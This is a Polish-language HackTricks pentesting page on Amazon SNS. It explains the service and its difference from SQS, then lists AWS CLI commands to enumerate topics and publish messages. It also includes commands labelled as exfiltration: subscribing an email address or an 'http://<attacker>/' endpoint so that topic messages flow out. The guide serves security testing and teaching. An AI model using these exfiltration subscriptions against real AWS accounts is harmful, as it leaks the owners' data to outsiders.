AWS - SNS Enum

Wspieraj HackTricks

SNS

Amazon Simple Notification Service (Amazon SNS) jest opisywany jako w pełni zarządzana usługa przesyłania wiadomości. Obsługuje zarówno komunikację aplikacja-do-aplikacji (A2A), jak i komunikację aplikacja-do-osoby (A2P).

Kluczowe cechy komunikacji A2A obejmują mechanizmy publikacji/subskrypcji (pub/sub). Mechanizmy te wprowadzają tematy, kluczowe dla umożliwienia wysokowydajnej, push-based, many-to-many messaging. Ta funkcja jest bardzo korzystna w scenariuszach obejmujących systemy rozproszone, mikrousługi i architektury bezserwerowe oparte na zdarzeniach. Wykorzystując te tematy, systemy publikujące mogą efektywnie dystrybuować wiadomości do szerokiego zakresu systemów subskrybujących, ułatwiając wzorzec przesyłania wiadomości fanout.

Różnica z SQS

SQS to usługa oparta na kolejce, która umożliwia komunikację punkt-punkt, zapewniając, że wiadomości są przetwarzane przez jednego konsumenta. Oferuje dostarczenie co najmniej raz, obsługuje standardowe i FIFO kolejki oraz umożliwia przechowywanie wiadomości do ponownych prób i opóźnionego przetwarzania. Z drugiej strony, SNS to usługa oparta na publikacji/subskrypcji, umożliwiająca komunikację jeden-do-wielu poprzez nadawanie wiadomości do wielu subskrybentów jednocześnie. Obsługuje różne punkty końcowe subskrypcji, takie jak e-mail, SMS, funkcje Lambda i HTTP/HTTPS, oraz zapewnia mechanizmy filtrowania dla ukierunkowanego dostarczania wiadomości. Podczas gdy obie usługi umożliwiają rozdzielenie komponentów w systemach rozproszonych, SQS koncentruje się na komunikacji opartej na kolejkach, a SNS kładzie nacisk na wzorce komunikacji oparte na zdarzeniach i fan-out.

Enumeration

# Get topics & subscriptions
aws sns list-topics
aws sns list-subscriptions
aws sns list-subscriptions-by-topic --topic-arn <arn>

# Check privescs & post-exploitation
aws sns publish --region <region> \
--topic-arn "arn:aws:sns:us-west-2:123456789012:my-topic" \
--message file://message.txt

# Exfiltrate through email
## You will receive an email to confirm the subscription
aws sns subscribe --region <region> \
--topic-arn arn:aws:sns:us-west-2:123456789012:my-topic \
--protocol email \
--notification-endpoint my-email@example.com

# Exfiltrate through web server
## You will receive an initial request with a URL in the field "SubscribeURL"
## that you need to access to confirm the subscription
aws sns subscribe --region <region>\
--protocol http \
--notification-endpoint http://<attacker>/ \
--topic-arn <arn>

Zauważ, że jeśli temat jest typu FIFO, tylko subskrybenci używający protokołu SQS mogą być używani (HTTP lub HTTPS nie mogą być używane).

Również, nawet jeśli --topic-arn zawiera region, upewnij się, że określasz poprawny region w --region, w przeciwnym razie otrzymasz błąd, który wygląda jakby wskazywał, że nie masz dostępu, ale problemem jest region.

Nieautoryzowany Dostęp

AWS - SNS Unauthenticated Enum

Eskalacja Uprawnień

AWS - SNS Privesc

Post Exploitation

AWS - SNS Post Exploitation

Trwałość

AWS - SNS Persistence

Referencje

Wspieraj HackTricks

Last updated